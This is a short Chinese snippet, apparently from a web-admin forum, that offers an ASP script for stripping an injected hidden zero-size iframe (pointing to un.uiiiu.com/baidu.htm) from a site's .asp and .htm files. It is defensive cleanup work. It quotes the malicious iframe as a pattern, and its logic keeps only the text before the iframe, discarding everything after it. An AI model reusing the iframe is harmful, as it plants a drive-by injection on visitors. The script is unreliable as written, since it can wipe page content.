可以此法清除其它网页木马。

<%
Function GetPP
dim s
s=Request.ServerVariables("path_translated")

         's="d:\Inetpub\wwwroot\hxp1\" 

GetPP=left(s,instrrev(s,"\",len(s)))
End function
if sPP="" then sPP=GetPP
if right(sPP,1)<>"\" then sPP=sPP&"\"
'Response.Write "<b>Index of "&sPP& "</b>"&"<br>"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(sPP)  
Set fc = f.Files  
Set ff = f.SubFolders

For Each f1 in fc

if  right(f1.name,3)="asp" or right(f1.name,3)="htm" or right(f1.name,4)="html"  then

Set fsoObject = Server.CreateObject("Scripting.FileSystemObject")
Set filObject = fsoObject.GetFile(Server.MapPath(f1.name))
Set tsObject = filObject.OpenAsTextStream
fileall=tsObject.Readall()

'a=split(fileall,"kk=""http://un.uiiiu.com/baidu.htm")

a=split(fileall,"<IFRAME SRC=""http://un.uiiiu.com/baidu.htm"" WIDTH=0 HEIGHT=0></IFRAME>")

set objTS=fsoObject.OpenTextFile(server.MapPath(f1.name),2,true)
objTs.writeLine(a(0))

end if

next
%>